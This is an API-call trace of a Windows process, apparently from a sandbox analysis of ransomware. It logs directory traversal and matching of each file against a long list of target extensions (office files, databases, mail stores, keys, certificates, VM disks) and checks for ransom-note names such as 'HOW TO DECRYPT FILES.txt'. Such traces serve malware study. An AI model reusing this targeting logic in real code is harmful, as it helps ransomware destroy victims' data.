[0104.934] lstrlenA (lpString="*.qbb") returned 5 [0104.934] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.qbm") returned 0 [0104.934] lstrlenA (lpString="*.qbm") returned 5 [0104.934] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.qbo") returned 0 [0104.935] lstrlenA (lpString="*.qbo") returned 5 [0104.935] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.qbx") returned 0 [0104.935] lstrlenA (lpString="*.qbx") returned 5 [0104.935] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.qba") returned 0 [0104.935] lstrlenA (lpString="*.qba") returned 5 [0104.935] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.qby") returned 0 [0104.935] lstrlenA (lpString="*.qby") returned 5 [0104.935] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.qbj") returned 0 [0104.935] lstrlenA (lpString="*.qbj") returned 5 [0104.935] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.ofx") returned 0 [0104.935] lstrlenA (lpString="*.ofx") returned 5 [0104.935] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.qif") returned 0 [0104.935] lstrlenA (lpString="*.qif") returned 5 [0104.935] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.mye") returned 0 [0104.935] lstrlenA (lpString="*.mye") returned 5 [0104.935] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.mbox") returned 0 [0104.935] lstrlenA (lpString="*.mbox") returned 6 [0104.935] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.eml") returned 0 [0104.935] lstrlenA (lpString="*.eml") returned 5 [0104.935] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.pst") returned 0 [0104.935] lstrlenA (lpString="*.pst") returned 5 [0104.935] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.ost") returned 0 [0104.935] lstrlenA (lpString="*.ost") returned 5 [0104.935] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.idx") returned 0 [0104.936] lstrlenA (lpString="*.idx") returned 5 [0104.936] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.dbx") returned 0 [0104.936] lstrlenA (lpString="*.dbx") returned 5 [0104.936] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.sql") returned 0 [0104.936] lstrlenA (lpString="*.sql") returned 5 [0104.936] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.mdb") returned 0 [0104.936] lstrlenA (lpString="*.mdb") returned 5 [0104.936] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.fdb") returned 0 [0104.936] lstrlenA (lpString="*.fdb") returned 5 [0104.936] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.wab") returned 0 [0104.936] lstrlenA (lpString="*.wab") returned 5 [0104.936] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.dat") returned 0 [0104.936] lstrlenA (lpString="*.dat") returned 5 [0104.936] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.txt") returned 0 [0104.936] lstrlenA (lpString="*.txt") returned 5 [0104.936] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.jpeg") returned 0 [0104.936] lstrlenA (lpString="*.jpeg") returned 6 [0104.936] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.jpg") returned 0 [0104.936] lstrlenA (lpString="*.jpg") returned 5 [0104.936] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.png") returned 0 [0104.937] lstrlenA (lpString="*.png") returned 5 [0104.937] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.php") returned 0 [0104.937] lstrlenA (lpString="*.php") returned 5 [0104.937] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.cs") returned 0 [0104.937] lstrlenA (lpString="*.cs") returned 4 [0104.937] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.cpp") returned 0 [0104.937] lstrlenA (lpString="*.cpp") returned 5 [0104.937] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.rar") returned 0 [0104.937] lstrlenA (lpString="*.rar") returned 5 [0104.937] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.zip") returned 0 [0104.937] lstrlenA (lpString="*.zip") returned 5 [0104.937] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.html") returned 0 [0104.937] lstrlenA (lpString="*.html") returned 6 [0104.937] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.htm") returned 0 [0104.937] lstrlenA (lpString="*.htm") returned 5 [0104.937] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.xlsx") returned 0 [0104.937] lstrlenA (lpString="*.xlsx") returned 6 [0104.937] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.xls") returned 0 [0104.937] lstrlenA (lpString="*.xls") returned 5 [0104.938] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.mp4") returned 0 [0104.938] lstrlenA (lpString="*.mp4") returned 5 [0104.938] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.ppt") returned 0 [0104.938] lstrlenA (lpString="*.ppt") returned 5 [0104.938] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.pptx") returned 0 [0104.938] lstrlenA (lpString="*.pptx") returned 6 [0104.938] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.doc") returned 0 [0104.938] lstrlenA (lpString="*.doc") returned 5 [0104.938] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.dot") returned 0 [0104.938] lstrlenA (lpString="*.dot") returned 5 [0104.938] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.docx") returned 0 [0104.939] lstrlenA (lpString="*.docx") returned 6 [0104.939] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.7z") returned 0 [0104.939] lstrlenA (lpString="*.7z") returned 4 [0104.939] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.tar") returned 0 [0104.939] lstrlenA (lpString="*.tar") returned 5 [0104.939] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.bz2") returned 0 [0104.939] lstrlenA (lpString="*.bz2") returned 5 [0104.939] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.gz") returned 0 [0104.939] lstrlenA (lpString="*.gz") returned 4 [0104.939] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.mkv") returned 0 [0104.939] lstrlenA (lpString="*.mkv") returned 5 [0104.939] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.eml") returned 0 [0104.939] lstrlenA (lpString="*.eml") returned 5 [0104.939] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.msg") returned 0 [0104.939] lstrlenA (lpString="*.msg") returned 5 [0104.939] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.edb") returned 0 [0104.939] lstrlenA (lpString="*.edb") returned 5 [0104.939] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.accdb") returned 0 [0104.939] lstrlenA (lpString="*.accdb") returned 7 [0104.939] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.odb") returned 0 [0104.940] lstrlenA (lpString="*.odb") returned 5 [0104.940] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.java") returned 0 [0104.940] lstrlenA (lpString="*.java") returned 6 [0104.940] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.asm") returned 0 [0104.940] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.pfx") returned 0 [0104.940] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.pem") returned 0 [0104.940] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.p12") returned 0 [0104.940] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.gpg") returned 0 [0104.940] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.vsd") returned 0 [0104.940] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.odg") returned 0 [0104.941] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.raw") returned 0 [0104.941] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.nef") returned 0 [0104.941] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.svg") returned 0 [0104.941] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.psd") returned 0 [0104.941] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.vmx") returned 0 [0104.941] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.vmdk") returned 0 [0104.941] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.vdi") returned 0 [0104.941] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.lay6") returned 0 [0104.941] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.mpeg") returned 0 [0104.941] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.djvu") returned 0 [0104.942] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.tiff") returned 0 [0104.942] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.backup") returned 0 [0104.942] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.pdf") returned 0 [0104.942] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.cert") returned 0 [0104.942] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.docm") returned 0 [0104.942] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.xlsm") returned 0 [0104.942] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.dwg") returned 0 [0104.942] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.nd") returned 0 [0104.942] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.tlg") returned 0 [0104.942] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.lgb") returned 0 [0104.942] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.mov") returned 0 [0104.943] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.xdw") returned 0 [0104.943] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.ods") returned 0 [0104.943] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.wav") returned 0 [0104.943] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.mp3") returned 0 [0104.943] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.aiff") returned 0 [0104.943] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.flac") returned 0 [0104.943] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.m4a") returned 0 [0104.943] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll", pszSpec="*.csv") returned 0 [0104.943] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea2eefe, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xea2eefe, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xeb85b60, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x64e200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0104.943] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0104.943] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea5846, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xeea5846, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xeea5846, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1e85062785e286cd9eae9c26d2c61f73", cAlternateFileName="1E8506~1")) returned 0 [0104.944] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0104.944] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7250dab9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x7250dab9, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x7250dab9, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Data.DataSet#", cAlternateFileName="SYSTEM~2.DAT")) returned 1 [0104.944] lstrcmpA (lpString1=".", lpString2="System.Data.DataSet#") returned -1 [0104.944] lstrcmpA (lpString1="..", lpString2="System.Data.DataSet#") returned -1 [0104.944] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0104.944] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.Data.DataSet#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#" [0104.944] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7250dab9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x7250dab9, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x7250dab9, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0104.945] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.945] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7250dab9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x7250dab9, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x7250dab9, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.945] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.945] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.946] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7250dab9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x7250dab9, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x7250dab9, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="eae18653a1b39fe484b49963d43480ce", cAlternateFileName="EAE186~1")) returned 1 [0104.946] lstrcmpA (lpString1=".", lpString2="eae18653a1b39fe484b49963d43480ce") returned -1 [0104.946] lstrcmpA (lpString1="..", lpString2="eae18653a1b39fe484b49963d43480ce") returned -1 [0104.946] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\*.*") returned="*.*" [0104.946] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\", lpString2="eae18653a1b39fe484b49963d43480ce" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce" [0104.946] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7250dab9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x7250dab9, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x7250dab9, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0104.946] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.946] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7250dab9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x7250dab9, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x7250dab9, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.946] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.947] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.947] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7249b698, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x7249b698, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x7249b698, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x21200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.DataSetExtensions.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0104.947] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0104.947] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Data.DataSetExtensions.ni.dll") returned -1 [0104.947] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Data.DataSetExtensions.ni.dll") returned -1 [0104.947] 